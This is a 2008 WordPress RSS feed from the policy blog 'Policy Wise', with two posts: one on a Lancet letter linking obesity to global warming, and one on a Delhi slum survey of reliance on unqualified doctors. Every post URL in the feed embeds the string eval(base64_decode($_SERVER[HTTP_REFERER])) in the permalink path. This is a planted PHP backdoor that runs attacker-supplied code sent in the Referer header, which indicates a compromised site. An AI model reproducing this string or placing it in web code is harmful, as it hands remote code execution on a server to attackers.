<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Policy Wise &#187; Uncategorized</title>
	<atom:link href="http://policywise.net/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://policywise.net</link>
	<description>Policy Matters</description>
	<lastBuildDate>Sat, 26 Jul 2008 15:10:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Obese Contribute to Global Warming?</title>
		<link>http://policywise.net/2008/05/18/obese-contribute-to-global-warming/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://policywise.net/2008/05/18/obese-contribute-to-global-warming/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 18 May 2008 05:17:43 +0000</pubDate>
		<dc:creator>Rohit</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://policywise.net/?p=200</guid>
		<description><![CDATA[



A letter in the Lancet which holds obesity as a contributory factor for global warming has sparked off a controversy
Compared with the normal weight population, the obese population consumes 18% more food energy. Additionally, more transportation fuel energy will be used to transport the increased mass of the obese population, which will increase even further [...]]]></description>
			<content:encoded><![CDATA[<div id="lw_context_ads"><p><script type="text/javascript"><!--
google_ad_client = "pub-8233305378651744";
google_ad_width = 300;
google_ad_height = 250;
google_ad_format = "300x250_as";
google_ad_type = "text_image";
//2007-08-13: rohits post
google_ad_channel = "6494341379";
google_ui_features = "rc:6";
//-->
</script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>A letter in the Lancet which holds obesity as a contributory factor for global warming has sparked off a controversy</p>
<blockquote><p>Compared with the normal weight population, the obese population consumes 18% more food energy. Additionally, more transportation fuel energy will be used to transport the increased mass of the obese population, which will increase even further if, as is likely, the overweight people in response to their increased body mass choose to walk less and drive more[<a href="http://www.thelancet.com/journals/lancet/article/PIIS0140673608607163/fulltext" target="_blank">link</a>]</p></blockquote>
<p>Here is an ABC article on the letter in which one critic points out that far more food is wasted compared to <a href="http://abcnews.go.com/Health/Diet/Story?id=4865889&amp;page=2" target="_blank">the extra consumed by the obese</a>. However, it must be pointed out that obesity as incidental to their primary argument that a coherent urban transport policy is a must. </p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://policywise.net/2008/05/18/obese-contribute-to-global-warming/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Urban Poor Rely on Quacks</title>
		<link>http://policywise.net/2008/05/12/198/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://policywise.net/2008/05/12/198/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 12 May 2008 12:00:13 +0000</pubDate>
		<dc:creator>Rohit</dc:creator>
				<category><![CDATA[Governance]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://policywise.net/?p=198</guid>
		<description><![CDATA[In response to an article Economist, Policy Wise has previously argued that banning quacks is not a viable solution to urban health crisis. Quacks exist because of the poor quality government dispensaries and primary health centers even in large cities. 
A new survey conducted in a Delhi slum shows exactly that,
The study, conducted by doctors [...]]]></description>
			<content:encoded><![CDATA[<div id="lw_context_ads"><p>In response to an article Economist, Policy Wise has <a href="http://policywise.net/2008/02/22/quackdown/">previously argued </a>that banning quacks is not a viable solution to urban health crisis. Quacks exist because of the poor quality government dispensaries and primary health centers even in large cities. </p>
<p>A new survey conducted in a Delhi slum shows exactly that,</p>
<blockquote><p>The study, conducted by doctors from the All India Institute of Medical Sciences (AIIMS) during 2004-08 in a South Delhi slum, found that of the 207 households, only two preferred to visit the government dispensary located four kilometres from the settlement. T<strong>he others felt that non-qualified medical practitioners are more humane, more communicative and offer more payment options for daily wage workers</strong>[<a href="http://business-standard.com/common/storypage_c.php?leftnm=10&#038;autono=322611">link</a>] (emphasis added)</p></blockquote>
<p>This is the state of affairs in South Delhi where apart from numerous government dispensaries, two of India&#8217;s premier medical facilities, All India institute of Medical Sciences (A.I.I.M.S0 and Safdarjung Hospital are located. The service delivery mechanism in case of quacks is simply more attuned to local needs.</p>
<p>The need of the hour is not give in to pressure of organized medicine and ban quacks&#8211;rather, attempts should be made to co-opt them into the primary health system by means of proper training and constant monitoring and education. </p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://policywise.net/2008/05/12/198/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
